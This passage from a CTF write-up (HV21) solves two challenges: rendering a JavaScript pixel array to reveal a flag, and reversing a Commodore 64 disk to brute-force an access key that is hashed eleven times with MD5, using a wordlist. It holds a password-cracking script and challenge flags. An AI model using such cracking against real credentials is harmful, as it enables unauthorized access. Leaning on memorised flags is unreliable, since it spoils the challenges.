0,96,108,108,104,104,104,108,120,104,92,80,68,56,44,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,48,60,72,92,112,128,128,124,128,132,140,152,132,116,100,84,68,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,52,64,76,100,124,144,144,144,152,160,172,180,156,136,116,96,76,56,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,40,48,56,76,96,112,112,112,120,128,140,152,132,116,100,84,68,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,28,32,36,52,68,80,80,80,88,96,108,124,108,96,84,72,60,48,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,16,16,16,32,48,56,56,56,64,72,88,104,88,80,72,64,56,48,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,16,16,16,36,56,64,64,64,72,84,104,116,96,88,80,72,64,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,16,16,16,40,60,68,68,68,80,96,120,128,108,100,92,84,72,56,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,16,16,16,40,56,64,68,72,88,108,128,136,120,112,100,88,72,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,8,8,32,44,52,60,68,84,100,116,124,112,104,92,80,64,48,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,36,44,56,64,76,88,100,108,96,88,76,68,56,44,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,56,68,76,88,100,112,116,100,88,76,68,56,44,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,52,64,76,84,96,112,128,128,108,96,84,76,64,48,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,56,68,80,92,108,120,120,104,92,80,68,56,40,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,36,52,68,84,100,112,120,120,108,92,76,60,44,32,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,56,76,96,112,120,124,124,108,88,68,48,32,24,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,60,76,96,112,116,120,116,96,76,60,40,24,20,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,28,48,64,76,96,112,112,112,104,84,68,56,36,20,16,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,36,52,64,72,96,112,108,104,96,80,68,60,36,16,12,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,36,52,68,80,92,116,132,128,124,116,100,88,76,48,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,68,84,100,116,140,156,148,140,132,116,100,84,52,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,68,84,100,116,140,160,152,144,136,120,104,88,56,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,68,84,96,108,132,152,144,136,128,112,100,88,56,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,72,84,92,100,120,136,128,120,108,96,88,80,52,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,84,92,100,116,128,120,108,96,88,80,72,48,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,88,100,112,128,140,136,128,120,108,96,84,60,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,80,96,112,128,144,156,156,152,144,128,112,96,72,48,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,40,64,76,88,100,116,128,128,128,120,108,96,84,64,44,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,48,56,64,72,88,100,100,104,96,88,80,72,56,40,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,48,56,64,72,84,92,92,96,88,80,72,64,52,40,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,48,56,64,72,80,84,84,88,80,72,64,56,48,40,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,28,48,56,64,72,80,80,80,84,84,76,68,60,52,44,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,20,28,44,52,60,68,76,72,72,80,88,80,72,64,56,48,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,20,28,36,52,60,68,76,80,72,72,80,88,80,72,64,56,48,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,56,64,72,80,80,72,72,80,88,80,72,64,56,48,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,52,60,68,76,76,68,68,76,88,80,72,64,56,48,40,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,24,32,40,48,56,64,72,72,64,64,68,84,76,68,60,52,44,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,28,36,48,60,72,84,88,84,84,88,96,84,72,60,48,40,32,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,56,72,88,104,112,116,116,116,116,100,84,68,52,40,28,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,36,52,68,84,100,112,116,116,116,112,96,80,64,48,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,32,44,56,68,80,88,88,88,92,92,80,68,56,44,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,32,40,52,64,76,88,92,88,88,88,88,76,64,52,40,32,20,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,36,44,56,68,80,92,92,88,88,92,92,80,68,56,44,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,48,56,68,80,92,104,100,92,92,100,104,92,80,68,56,48,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,68,84,100,116,132,132,124,124,132,132,116,100,84,68,56,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,60,76,92,108,124,140,140,136,136,140,140,124,108,92,76,60,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,68,84,100,116,132,132,124,124,132,132,116,100,84,68,56,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,48,56,72,84,96,108,104,96,96,104,108,96,84,72,60,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,36,44,64,80,96,112,116,116,120,128,128,112,96,80,64,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,28,36,60,80,100,120,132,140,148,160,156,136,116,96,76,60,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,32,60,84,108,132,152,164,176,188,180,156,132,108,84,64,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,52,80,104,128,152,168,180,188,176,148,124,100,76,56,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,40,68,88,108,128,144,156,164,156,128,108,88,68,52,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,60,80,96,112,124,136,152,148,120,100,84,68,56,44,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,60,80,96,112,128,144,164,164,136,116,100,84,68,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,60,84,104,124,144,164,188,192,160,136,116,96,76,56,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,52,72,88,104,120,136,156,164,136,116,100,88,72,56,36,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,60,72,84,96,108,124,132,108,92,80,76,64,52,36,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,48,56,64,72,80,92,100,80,68,60,64,56,48,36,12,12,12,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,48,56,64,72,84,92,76,64,56,64,56,48,36,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,32,40,48,56,64,76,84,72,60,52,64,56,48,36,20,20,20,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,28,36,44,52,60,68,60,52,44,60,52,44,36,24,24,24,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,20,24,28,36,32,28,24,48,44,40,36,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,36,36,36,36,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4,4,4,4,4,36,36,36,36,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,12,16,20,24,28,32,36,36,32,28,24,48,44,40,36,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,20,28,36,44,52,60,68,68,60,52,44,60,52,44,36,24,24,24,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,28,40,52,64,76,88,100,100,88,76,64,72,60,48,36,20,20,20,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,48,60,72,84,96,108,108,92,80,68,72,60,48,36,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,56,68,80,92,104,116,116,96,84,72,72,60,48,36,12,12,12,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,52,68,80,92,104,116,132,132,108,92,80,76,64,52,36,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,60,80,96,112,128,144,164,164,136,116,100,88,72,56,36,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,60,84,104,124,144,164,188,192,160,136,116,96,76,56,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,52,72,88,104,120,136,156,164,136,116,100,84,68,52,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,52,72,88,104,116,128,144,148,120,100,84,68,56,44,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,32,60,80,96,112,124,132,140,140,112,92,76,60,48,36,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,44,72,96,116,136,148,156,164,160,132,108,88,68,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,32,52,76,100,120,136,144,152,164,164,140,116,96,76,60,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,32,40,56,76,96,116,128,132,140,148,152,132,112,92,72,56,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,24,36,44,56,72,88,104,108,108,112,120,128,112,96,80,64,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,48,56,68,80,92,104,100,92,92,100,108,96,84,72,60,52,36,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,68,84,100,116,132,132,124,124,132,132,116,100,84,68,56,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,60,76,92,108,124,140,140,136,136,140,140,124,108,92,76,60,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,68,84,100,116,132,132,124,124,132,132,116,100,84,68,56,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,52,60,72,84,96,108,104,96,92,100,104,92,80,68,56,48,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,52,60,72,84,96,108,104,96,88,92,92,80,68,56,44,36,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,32,52,60,72,84,96,108,104,96,88,92,88,76,64,52,40,32,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,56,64,76,88,100,112,108,96,88,88,84,72,60,48,36,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,52,60,72,84,96,108,104,96,92,92,88,76,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,40,52,56,64,72,84,96,88,80,80,84,84,76,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,48,56,60,68,76,88,100,88,72,72,76,76,68,56,44,32,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,56,68,76,84,92,100,108,88,68,64,64,64,56,48,40,32,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,64,76,88,96,104,112,120,96,72,68,64,64,56,48,40,32,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,60,68,80,88,96,104,112,88,68,68,64,64,56,48,40,36,28,20,12,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,28,52,60,72,80,88,96,104,84,68,68,64,64,56,48,40,40,32,24,16,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,24,44,52,64,72,80,88,96,80,68,68,64,60,52,44,36,40,32,24,16,12,12,12,12,0,0,0,0,0,0,0,0,0,0,0,0,20,36,44,56,64,72,80,88,76,64,60,52,44,36,28,20,28,24,20,16,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,16,28,36,48,56,64,68,72,60,48,40,28,20,12,8,4,20,20,20,20,20,20,20,20,0,0,0,0,0,0,0,0,0,0,0,0,12,20,28,36,40,44,44,44,32,24,16,8,4,0,0,0,24,24,24,24,24,24,24,24,0,0,0,0,0,0,0,0,0,0,0,0,8,12,16,20,20,20,20,20,12,8,4,0,0,0,0,0,28,28,28,28,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,0,4,4,4,4,4,4,4,4,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,32,32,32,32,32,32,32,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,8,8,8,8,8,8,8,8,8,8,36,36,36,32,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,20,20,20,20,20,16,16,16,16,16,16,40,40,40,32,24,24,24,24,0,0,0,0,0,0,0,0,0,0,0,0,4,8,16,28,40,40,40,40,36,32,24,24,24,24,24,24,44,44,44,32,20,20,20,20,0,0,0,0,0,0,0,0,0,0,0,0,8,16,24,40,56,60,60,60,52,44,36,32,32,28,28,28,44,44,44,32,16,16,16,16,0,0,0,0,0,0,0,0,0,0,0,0,12,24,32,52,72,80,80,80,68,56,48,44,44,36,36,36,48,48,48,32,12,12,12,12,0,0,0,0,0,0,0,0,0,0,0,0,16,32,40,60,84,96,100,104,88,72,68,68,64,52,48,44,52,52,48,28,8,8,8,8,0,0,0,0,0,0,0,0,0,0,0,0,20,40,48,68,92,108,116,124,108,92,92,96,92,76,68,60,60,56,48,24,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,0,24,44,52,72,96,112,124,136,120,108,108,112,108,92,80,68,60,52,44,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,52,68,88,104,116,128,112,100,100,104,100,84,72,60,52,44,36,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,44,48,60,76,92,104,120,108,100,104,108,104,88,76,60,48,36,28,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,36,36,44,56,72,88,108,104,104,112,116,112,96,80,60,44,28,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,28,28,32,44,60,80,100,104,112,120,128,120,104,84,64,44,24,16,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,20,20,24,36,52,72,92,104,120,128,132,120,104,84,64,40,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,12,16,24,36,48,64,80,100,124,124,120,108,96,80,64,36,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,16,28,40,48,60,72,96,120,112,100,88,80,68,56,28,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,40,56,68,80,92,116,136,128,116,104,92,80,68,40,12,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,92,108,124,148,168,160,148,136,120,104,88,56,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,92,108,120,144,164,156,144,132,116,100,88,56,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,92,104,112,136,152,144,132,120,104,92,84,52,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,56,76,88,96,104,124,136,128,116,104,92,84,76,48,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,36,52,72,84,96,104,120,128,120,112,100,88,76,68,44,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,32,44,64,80,96,108,124,128,124,120,108,92,76,64,40,24,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,16,24,32,56,76,96,112,128,136,140,140,124,104,84,68,44,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,40,56,72,88,108,120,128,132,116,100,84,68,44,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,32,44,56,76,92,104,112,100,88,76,64,44,28,16,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,36,48,60,80,96,112,124,108,96,84,72,52,36,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,60,76,96,112,128,140,120,104,88,72,52,36,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,48,68,84,104,120,136,148,128,108,88,72,52,36,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,28,44,60,76,96,112,128,140,120,104,88,72,52,36,20,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,36,48,60,76,92,108,124,108,96,84,72,56,40,24,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,28,36,44,52,64,72,80,100,92,84,76,68,56,44,32,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,16,16,32,40,48,52,56,56,60,80,76,68,60,56,48,40,32,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,20,24,24,40,48,60,64,64,56,56,76,72,64,52,48,40,36,32,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,32,32,44,56,72,76,68,52,48,64,68,56,40,36,32,32,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,44,44,56,68,84,88,72,52,44,64,72,60,44,40,40,40,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,56,60,72,84,100,108,92,72,64,84,96,84,68,60,56,52,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,48,64,72,84,96,116,128,116,96,88,108,120,108,88,76,68,60,52,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,48,64,72,84,96,116,132,124,108,100,116,128,116,96,80,68,56,48,24,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,20,44,56,64,76,88,108,124,116,104,100,112,120,108,88,72,60,48,40,20,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,36,48,56,68,80,100,116,112,104,100,108,112,100,80,64,52,40,32,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,28,40,48,60,72,88,104,104,100,96,100,100,88,72,56,44,32,24,12,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,12,24,36,44,56,64,76,88,92,92,88,92,88,80,68,52,44,32,24,12,4,4,4,4,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,84,88,88,88,88,84,80,76,68,64,52,40,28,20,16,12,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,80,80,80,76,76,76,76,76,64,52,40,32,24,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,80,76,76,76,80,84,84,84,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,76,72,72,72,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,76,72,72,72,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,76,72,72,72,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,8,16,28,40,52,64,72,80,80,80,76,72,72,72,76,80,80,80,72,64,52,40,28,16,8,0,0,0,0,0,0,0,0,0,0,0,4,12,24,36,48,60,68,76,80,80,76,72,72,72,76,80,80,76,68,60,48,36,24,12,4,0,0,0,0,0,0,0,0,0,0,0,0,4,12,20,28,36,40,48,56,60,60,56,56,56,60,60,56,48,40,36,28,20,12,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,12,16,16,20,28,36,36,32,32,32,36,36,28,20,16,16,12,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,8,8,8,8,8,8,8,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];
    let move = -320;
    let moving = 0;
    function printPixels() {
        if (moving++ % 2 === 0) move++;
        if (move>300) move =-320;
        for (let i = 0; i < 40; i++) {
            for (let j = 0; j < 9; j++) {
                let x = (i*8+move);
                let y = ((j-2)*8+(i-15));
                let color = x>0&&y>0&&x<300&&y<36?digits[x*36+y]:0;
                context.fillStyle = "#"+("000000"+((color << 16) | (color << 8) | color).toString(16)).slice(-6);
                context.fillRect(i * 40, j * 40, 40, 40);
            }
        }
        requestAnimationFrame(printPixels);
    }
    printPixels();

I examined the code and played around with it in JSFiddler. The array contains 10800 items, if we divide it by 36 we get 300 rows. -> Thanks ludus!

let move = 0;
let moving = 0;

console.log(digits.length)

function printPixels() {
  for (let x = 0; x < 300; x++){
    for (let y = 0; y < 100; y++){
      let color = digits[x*36+y];
      //console.log(color)
      context.fillStyle = "#" + ("0000" + ((color << 16) | (color << 8) | color).toString(16)).slice(-6);
      context.fillRect(x*5, y*5, 4000, 4000);
    }
  }
  //requestAnimationFrame(printPixels);
}

If we alter the code as mentioned we get an image which is a bit more clear. Still far from readable though.

On this we can apply a motion blur filter and make the image readable. I used an Android application on my mobile phone to do so. I still had to guess some characters. The final result was this:

Flag

HV21{P1xeliz4t10n_N07_54v3}


[HV21.24] Dusty Disk Disaster

Thanks!

This challenge is brought to you by darkstar. Merry reversing!

Introduction

It happened again: Santa misplaced some very important data. His elves came across an old dusty floppy disk that they can unfortunately no longer read…

Goal

Could you please check if there is something important on it?

Solution

Wow, another amazing challenge from darkstar. We are provided with a d64 file, which is a Commodore 64 image. The hardest part of this challenge was to setup the environment to be able to analyze and solve this challenge. I used the VICE emulator and Ghidra to solve the challenge. In Ghidra I used an additional plugin to work with d64 files.

Program Flow:

We need to revers engineer/debug this application to get the right key to “free” the flag. After some time of scrolling through disassembled code in Ghidra I joined forces with ice and jokker. Once again we found constants in the disassembled code.

A := 0123456716
B: = 89ABCDEF16
C := FEDCBA9816
D := 7654321016

In the RFC of MD5 we find this definition, which looks highly familiar!

Now we

Now we know that MD5 hashing is used and the function FUN_2791 does implement it. I started working with the debugger of VICE. First I set a break-point at the address 2791 which is the start of the MD5 function.

After setting the breakpoint I enter any key in the application and figure out that the MD5 function is called 11 times! I examine the memory of the application further and find the location of my input at cfa4:

My lower-case input “xxxxx” is transferred to upper case. First I thought the application just transforms every input to upper case. Through a hint I discovered, that Commodore stores it’s values in PETSCII and not ASCII. This will become relevant when we brute force the key.

Next I did find the location of the target hash and the hash of my input. These values are stored at cef4 and cf04:

Now we can verify if our input, hashed 11 times with MD5 matches with the data at cf04 of the memory. And indeed it does! Together with the hint which was released on the challenge page (ask a human about the password), we now know to use the wordlist human-only to bruteforce the right key. My final script to get the access key looks like this:

import hashlib
import cbmcodecs2

target = "b229f80b33fac1a464d6b1997ed66bd8"

f = open("human.txt", "r", encoding='latin-1')
l = 0
for line in f.readlines():
    line = line.rstrip()

    try:
        h = hashlib.md5(line.encode('petscii_c64en_lc')).digest()
    except: 
        continue

    for i in range(10):
    	h = hashlib.md5(h).digest()
    	if h.hex() == target:
    		print("[+] Found match!")
    		print("[> " + line)
    		exit(0)

    l += 1
    if (l % 10000 == 0):
    	print(l)

Running the Python script reveals the access key:

Flag

